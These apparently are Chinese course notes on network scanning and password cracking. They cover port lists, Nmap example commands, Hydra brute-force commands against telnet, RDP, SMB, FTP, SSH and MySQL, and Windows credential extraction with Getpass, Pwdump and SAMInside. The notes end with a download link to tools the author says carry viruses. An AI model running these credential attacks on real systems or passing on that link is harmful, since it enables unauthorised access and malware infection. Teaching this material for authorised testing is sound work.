第八章：扫描技术，暴力破解工具

扫描技术
主机探测与端口扫描
⦁ 21 FTP
⦁ 22 SSH
⦁ 23 Telnet
⦁ 25 SMTP
⦁ 80 HTTP
⦁ 443 HTTPS
⦁ 1433 SQL Server
⦁ 1521 Oracle
⦁ 3306 MySQL
⦁ 3389 RDP

Nmap-扫描之王
重要的常用参数

⦁ -sP 扫描主机是否在线（ping扫描）
⦁ -p 指定端口范围
⦁ -sV 服务版本探测
⦁ -O(大写) 启用操作系统探测
⦁ -A 全面扫描
⦁ -oN 保存txt

⦁ Nmap -sP 10.1.1.1/24 扫描10.1.1.0 整个网段
⦁ Nmap -p 21,23-25,3389, 10.1.1.1
⦁ Nmap -p 21,23 10.1.1.1 -sV 扫描21，23的服务版本
⦁ Nmap -A 10.1.1.1 全面扫描
⦁ Nmap -O 10.1.1.1 扫描目标系统版本
⦁ Nmap -p 21,23 10.1.1.1 -oN d:\result.txt
Hydra 远程暴力破解
⦁ Hydra.exe -l a -p 123 10.1.1.1 telnet
⦁ Hydra.exe -l a -P d:\password.txt 10.1.1.1 rdp
⦁ Hydra.exe -l a -P d:\password.txt 10.1.1.1 smb
⦁ Hydra.exe -l a -P d:\password.txt 10.1.1.1 ftp
⦁ Hydra.exe -l a -P d:\password.txt 10.1.1.1 ssh
⦁ Hydra.exe -l a -P d:\password.txt 10.1.1.1 mysql
⦁
⦁ Hydra.exe -L d:\user.txt -P d:\password.txt 10.1.1.1 mysql
5次shift破解系统密码
利用PE破解系统密码
远程爆破
nmap
NTscan
Hydra
本地破解：
Getpass 从内存中提取密码（win10之前的系统）
本地暴力破解：
Pwdump 提取sam中的hash值

手工将hash值存储到hash.txt中
使用saminside软件进行暴力破解

网上找的一些小工具，有毒，谨慎下载：https://pan.baidu.com/s/1WrIOTYeWMWMiQv8VD_LmDA 提取码：89wa（注意：中毒概不负责）